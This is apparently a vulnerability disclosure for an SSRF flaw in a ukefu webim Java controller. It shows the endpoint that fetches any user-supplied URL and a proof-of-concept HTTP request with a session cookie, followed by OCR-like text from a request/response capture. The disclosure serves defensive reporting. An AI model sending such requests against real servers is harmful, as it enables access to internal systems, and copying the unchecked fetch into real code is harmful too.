

In the file `com/ukefu/webim/web/handler/resource/MediaController.java`, there is code that allows the server to make requests to a URL provided by the user. This behavior can lead to a **Server-Side Request Forgery (SSRF)** vulnerability.

```
119     }
120
121     @RequestMapping("/url")
122     @Menu(type = "resource", subtype = "image", access = true)
123     public void url(HttpServletResponse response, @Valid String url) throws IOException {
124         byte[] data = new byte[1024];
125         int length = 0;
126         OutputStream out = response.getOutputStream();
127         if(!StringUtils.isBlank(url)){
128             InputStream input = new URL(url).openStream();
129             while((length = input.read(data)) > 0){
130                 out.write(data, 0, length);
131             }
132             input.close();
133         }
134     }
```

Poc:

```
GET /res/url?url=http://www.baidu.com HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101
Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: remember-me=YWRtaW46MTC0MZA2NTA3NDE2MjphZmU1NjA2MWRlNWVhM2YzNGI0Y2Y0N2ZjM2YyMzNlNQ
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
```

1 x +

SendCancel<>

Request

PrettyRawHexMarkInfo

1 GET /res?url?url=http://www.baidu.com HTTP/1.1

2 Host: 127.0.0.1

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0

4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

6 Accept-Encoding: gzip, deflate, br

7 Connection: close

8 Cookie: remember-me=YWRtaW46MTc0MzA2NTA3NDE2MjphZmU1NjA2MWRlNWVhM2YzNGI0Y2YON2ZjM2YyMzNlNQ

9 Upgrade-Insecure-Requests: 1

10 Sec-Fetch-Dest: document

11 Sec-Fetch-Mode: navigate

12 Sec-Fetch-Site: none

13 Sec-Fetch-User: ?1

14 Priority: u=0, i


15

16

Response

PrettyRawHexRender

新闻hao123地图



0 highlights